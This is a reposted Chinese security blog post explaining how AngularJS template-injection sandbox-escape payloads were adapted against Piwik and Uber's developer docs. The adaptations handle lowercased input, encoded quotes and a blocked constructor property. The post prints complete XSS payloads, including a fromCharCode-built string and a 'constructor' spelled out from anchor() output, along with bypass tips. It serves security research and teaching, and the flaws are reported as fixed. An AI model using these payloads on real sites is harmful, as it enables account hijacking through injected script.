文章总结: 本文以piwik和uber等真实目标为例,详解angularjs模板注入的payload改造实战,应对输入转小写、引号被编码、constructor被禁用等限制,通过unicode转义、tostring、anchor等方法绕过沙箱,强调限制即提示、处理顺序差异、自造字面量等实战经验,并提醒漏洞已修复、仅限授权测试。 综合评分: 88 文章分类: web安全,漏洞分析,渗透测试,实战经验
AngularJS 模板注入:三次变形实战
原创
升斗安全XiuXiu 升斗安全XiuXiu
升斗安全
2026年9月12日 00:29 广东
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
【文章说明】
- 目的:本文内容仅为网络安全技术研究与教育目的而创作。
- 红线:严禁将本文知识用于任何未授权的非法活动。使用者必须遵守《网络安全法》等相关法律。
- 责任:任何对本文技术的滥用所引发的后果自负,与本公众号及作者无关。
- 免责:内容仅供参考,作者不对其准确性、完整性作任何担保。
阅读即代表您同意以上条款。
📌 这篇讲什么:教科书里的 payload 打不进真实世界——这是每个挖过洞的人都懂的痛。这篇文章我拿两个真实目标(Piwik 和 Uber)当样本,完整走一遍 Angular 模板注入的 payload 改造过程:输入被转小写怎么办、引号被浏览器编码了怎么办、constructor 被 Angular 禁掉了怎么办。看完你会明白,沙箱从来不是终点,它只是提示你换个姿势。
一、先说句实话:payload 是从来不能直接用的一等公民
干这行久了你会发现,XSS 这三个字母背后压根不是”贴一段弹窗代码”这么简单。
过滤、编码、浏览器怪癖、WAF——这四样东西平时各忙各的,一旦联手,就能把一段在 jsFiddle 里跑得好好的 payload 变成一坨字符串。AngularJS 模板注入更是重灾区,因为它身处一个”半个沙箱”里,能用的东西本来就被砍了一刀。
所以今天不讲原理,讲改造。
下面三个场景,全部来自真实目标。我们一个一个拆。
二、第一关:Piwik,输入被转小写了 🔍
Piwik 是个开源的分析平台,下载量 270 万次,用着 AngularJS 1.2.26,功能上会把访客的搜索关键词显示出来。
入口找得挺顺:伪造一个来自 Google 的 Referer,就能把带着 Angular 表达式的关键词塞进去。
然后我掏出了 1.2.26 对应的沙箱逃逸,然后——没响。
{{'a'.constructor.prototype.charAt=''.valueOf;$eval(”x='”+(y='if(!window\u002ex)alert(window\u002ex=1)')+eval(y)+”'”);}}
原因不复杂:Piwik 会把输入整体转成小写。
这一转,两处关键都被废了:
charAt变成了charat,原型上的那个方法再也覆盖不到;valueOf变成了valueof,压根调用不到。
遇到”小写化”这种限制,脑子里要立刻弹出一句话:JS 的解析发生在你的字符串被处理之前还是之后?
答案是:\uXXXX 这种 Unicode 转义,是在 JS词法分析阶段就被还原的。也就是说,我写 \u0041,源码里是 \u0041,但到了引擎眼里它就是个大写的 A。而 toLowerCase() 处理的是源码字符,它看 \u0041 是六个 ASCII 字符,转小写也还是 \u0041——因为这里压根没有大写字母。
于是第一处破解:
'a'.constructor.prototype['char\u0041t']
第二处更简单——valueOf 被小写化搞死了,那就换个全小写的替代品。我用了 ”.concat;:
'a'.constructor.prototype['char\u0041t']=''.concat;
拼起来就是最终形态:
{{'a'.constructor.prototype['char\u0041t']=''.concat;$eval(”x='”+(y='if(!window\u002ex)alert(window\u002ex=1)')+eval(y)+”'”);}}
这洞有多疼?未认证的攻击者注入一段 payload,就能劫持任何看到这个页面的人的账户。如果撞上管理员,接下去就是装恶意模块、拿 Web 服务器权限这条老路。修复版本是 Piwik 2.16.1。
三、第二关:Uber,引号根本传不进去 💥
第二个目标是 Uber。
Uber 的开发者平台 developer.uber.com 允许开发者提交和管理应用,文档部分托管在第三方 readme.io 上(developer.uber.com/docs/)。这个站点用了 AngularJS,并且把当前 URL 通过服务端模板反射进页面——注意关键词,它没有先做 URL 解码。
听起来很有戏,但现实给了两记闷棍:
第一,引号进不来。Firefox 和 Chrome 都会主动把引号、撇号做 URL 编码。你想要一个跨浏览器的 payload(以及一份像样的赏金),就得想办法在没有引号的前提下拿到字符串。
第二,空格也不行。不管哪个浏览器,都不能用。
没有引号,就没有字符串字面量;没有字符串字面量,常规写法全废。
解法藏在一个谁都见过的东西里:toString。
{{ ({}.toString()).constructor.prototype.charAt=[].join; $eval(({}.toString()).constructor.fromCharCode(120,61,49,125,32,125,32,125,59,97,108,101,114,116,40,49,41,47,47)) }}
思路是这样的——
({}.toString()) 会生成字符串 [object Object]。有了字符串实例,就能顺着 .constructor 摸到 String 构造器;有了 String,就能调用 fromCharCode,用数字把任意字符拼出来。
那串数字解出来,是 x=1 后面跟几个右花括号,再接 alert(1)//。熟悉模板注入的人一眼就懂:前半段负责提前闭合 Angular 的表达式,后半段 // 把尾巴上多余的东西全注释掉。数字不需要引号,这就是它存在的全部意义。
挖洞好基友给了一个更短的版本,把对象字面量也去掉了:
{{ x=toString();x.constructor.prototype.charAt=x.constructor.prototype.concat; $eval(x.constructor.fromCharCode(120,61,49,125,32,125,32,125,59,97,108,101,114,116,40,49,41,47,47)) }}
喜欢打代码高尔夫的朋友还能再压一压,但这活儿到此为止已经够用了。
顺带夸一句:Uber 和 readme.io 从我提交到修完,24 小时不到。这个响应速度,在乙方报告堆里属于让人想给他们鼓掌的级别。
四、第三关:引号不给,constructor 也不给 🧩
故事要是到这儿就结束,那就太温柔了。
Uber 用的是Angular 1.2.0,这个版本干了一件事:它禁止你用 obj.constructor 这种常规属性访问去拿构造器。
但——obj[‘constructor’] 这种方括号访问,它管不着。
于是我撞上了安全研究里最经典的一种窘境:先有鸡还是先有蛋。
- 我要调
fromCharCode,得先有String构造器; - 要拿
String构造器,得先有字符串"constructor"; - 要造出这个字符串,又得先有
fromCharCode。
转圈了。。。
那就换个思路:不能用 + 拼接字符串,不能用引号,那就用数组,用现成的对象当字符矿。
我特别喜欢这个类比:这几乎就是一种扭曲的 ROP。ROP 是在别人的代码里捡零件拼出自己的逻辑,这里是在别人的返回值里捡字符拼出自己的字符串。
第一步,拿当前作用域对象的 toString:
o=toString(); // [object Object]
它给了我们 [object Object],里面有 c、o、t 这些字符。
但”n”怎么办?Angular 对 undefined 相当宽容,你没法把 undefined 对象转成字符串。破解办法是 anchor 这个老古董方法——它会生成一段 HTML,而这段 HTML 里带着我们要的字母:
t=o.anchor(true); // <a name=”true”>[object Undefined]</a> f=o.anchor(false);
true 的 anchor 里有 t/r/u/n,false 的 anchor 里能找到 s。够了。接下来就是按索引一个个抠字:
| 取值 | 字符 | 来源 |
| — | — | — |
| o[5] | c | [object Object] |
| o[1] | o | [object Object] |
| t[3] | n | <a name="true"> |
| f[12] | s | <a name="false"> |
| t[9] | t | <a name="true"> |
| t[10] | r | 同上 |
| t[11] | u | 同上 |
| t[9] | t | 同上 |
| o[1] | o | [object Object] |
| t[10] | r | 同上 |
c=[]; o=toString(); t=o.anchor(true);f=o.anchor(false); c.push(o[5]); c.push(o[1]); c.push(t[3]); c.push(f[12]); c.push(t[9]); c.push(t[10]); c.push(t[11]); c.push(o[5]);c.push(t[9]); c.push(o[1]); c.push(t[10]);
最后一个小麻烦:字符要拼起来,但 join 需要一个空字符串当分隔符,而引号我是没有的。
答案是用数组字面量[]顶替空字符串——它被当分隔符时,效果一模一样。
a=c.join([]); // ”constructor”
拿到 “constructor” 之后,鸡生蛋的死结就解开了。后面接上针对 1.2.0 的那套利用,把字符串喂进去,完整 exploit 长这样:
{{ c=[]; o=toString(); t=o.anchor(true);f=o.anchor(false);c.push(o[5]);c.push(o[1]);c.push(t[3]);c.push(f[12]);c.push(t[9]);c.push(t[10]);c.push(t[11]);c.push(o[5]);c.push(t[9]);c.push(o[1]);c.push(t[10]);a=c.join([]);b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,toString()[c.join([])].fromCharCode(97,108,101,114,116,40,49,41))()}}
最后那行看着唬人,其实就三步:用 b[a](也就是 b[‘constructor’])绕过 Angular 的属性拦截,再用 getOwnPropertyDescriptor 去原型上把 Function 构造器挖出来,最后用 call.call 这套双 call 老把戏把它调起来,参数就是 fromCharCode(97,108,101,114,116,40,49,41)——也就是 alert(1)。
五、猎人笔记:这几条比 payload 值钱 🧠
做点实战经验分享,也是我这些年反复被环境教做人的几条:
-
限制不是句号,是提示。”被转小写了””引号被编码了””constructor 被禁了”——每一条都在告诉你对手的规则长什么样。规则一旦明确,绕过就只是时间问题。
-
搞清楚谁先动手。Piwik 那一关的核心,是弄明白 Unicode 转义在词法阶段就被还原,而 toLowerCase 处理的是源码字符。很多绕过,本质上都是”处理顺序”的差异。WAF、解码器、模板引擎、JS 引擎,谁先谁后,永远是第一顺位的排查项。
-
没有字面量,就自己造字面量。toString()、anchor()、[object Object]、数组索引——这些在别人眼里是返回值,在你眼里应该是字符矿。ROP 的思维在 JS 里一样好使。
-
浏览器差异决定 payload 的身价。Chrome 和 Firefox 会不会给你编码引号,直接决定了你这份报告的适用范围。只在一个浏览器里能跑的 payload,和跨浏览器通用的 payload,赏金报价从来不是一个数。
-
版本号就是路线图。1.2.0 和 1.2.26 的沙箱逃逸完全不是一回事。看到目标的第一眼,先确认版本,再去找对应的公开利用,能省下大半天。
-
老 payload 别删。Uber 这关用的 anchor(),是个几乎被遗忘的 DOM 时代遗物。它在你的日常代码里早就绝迹了,但在攻击面上,它一直都在。
最后说句想了很久的话:即使身处 JavaScript 沙箱,你也远没有到无路可走的地步。上面这些技术不是答案,是地基——真正的活儿,是你拿着它们去对付下一个环境里那些从没人见过的限制。
六、几句说明 ⚠️
本文涉及的两个漏洞均已修复(Piwik ≥ 2.16.1,Uber/readme.io 已于报告后 24 小时内修补),技术细节仅用于安全研究与授权测试。看思路,别照抄 payload 去扫站。
写到这里,照例求个三连。
这篇从翻旧报告到把字符索引一个个对完,花了我大半个晚上。如果它让你下次遇到”引号被过滤了”的时候,脑子里能多弹出一个”那就自己造”,那这几个小时就没白花。
- 觉得有用,帮我点个**「赞」和「在看」**,让更多挖洞的朋友刷到;
- 顺手**「转发」**给群里那几个还在跟 Angular 老站点较劲的兄弟,他们大概率用得上;
- 还没**「关注」**的朋友点个关注,压箱底的绕过笔记我会陆续整理发出来,只发在这里;
- 也欢迎**「推荐」**给身边做安全、做前端的朋友,一起少写点会被打脸的过滤规则。
渗透测试 #XSS #AngularJS #模板注入 #赏金猎人 #Web安全 #漏洞挖掘 #经验分享 #沙箱逃逸 #前端安全
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:升斗安全 升斗安全XiuXiu 升斗安全XiuXiu《AngularJS 模板注入:三次变形实战》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论